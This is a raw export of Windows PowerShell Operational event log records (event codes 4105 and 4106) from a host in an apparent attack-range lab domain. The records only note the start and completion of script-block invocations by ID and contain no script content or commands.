Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2031033
Keywords=None
Message=Started invocation of ScriptBlock ID: 90955ce6-e72b-4f02-98e7-2854d76e96fb
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:50 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2031032
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:50 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2031031
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:50 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2031030
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:50 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2031029
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:50 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2031028
Keywords=None
Message=Completed invocation of ScriptBlock ID: 59ce12a7-770c-48d4-9010-f424db8bd9ae
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:50 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2031027
Keywords=None
Message=Started invocation of ScriptBlock ID: 59ce12a7-770c-48d4-9010-f424db8bd9ae
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:50 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2031026
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:50 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2031025
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:50 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2031024
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:50 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2031023
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:50 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2031022
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:50 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2031021
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:50 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2031020
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:50 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2031019
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:50 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2031018
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:50 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2031017
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:50 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2031016
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:50 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2031015
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:50 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2031014
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:50 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2031013
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:50 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2031012
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:50 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2031011
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:50 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2031010
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:50 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2031009
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:50 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2031008
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:50 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2031007
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:50 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2031006
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:50 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2031005
Keywords=None
Message=Started invocation of ScriptBlock ID: debebd5f-7e1c-4381-b8ac-a94c8c171ec8
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:50 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2031004
Keywords=None
Message=Completed invocation of ScriptBlock ID: 1a3733b9-0846-4416-96ff-f98e831fb92f
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:50 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2031003
Keywords=None
Message=Started invocation of ScriptBlock ID: 1a3733b9-0846-4416-96ff-f98e831fb92f
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:50 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2031002
Keywords=None
Message=Completed invocation of ScriptBlock ID: debebd5f-7e1c-4381-b8ac-a94c8c171ec8
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:50 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2031001
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:50 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2031000
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:50 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2030999
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:50 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2030998
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:50 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2030997
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:50 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2030996
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:50 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2030995
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:50 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2030994
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:50 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2030993
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:50 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2030992
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:50 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2030991
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:50 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2030990
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:50 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2030989
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:50 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2030988
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:50 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2030987
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:50 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2030986
Keywords=None
Message=Completed invocation of ScriptBlock ID: 90955ce6-e72b-4f02-98e7-2854d76e96fb
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:50 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2030985
Keywords=None
Message=Started invocation of ScriptBlock ID: 90955ce6-e72b-4f02-98e7-2854d76e96fb
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:50 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2030984
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:50 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2030983
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:50 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2030982
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:50 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2030981
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:50 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2030980
Keywords=None
Message=Completed invocation of ScriptBlock ID: 59ce12a7-770c-48d4-9010-f424db8bd9ae
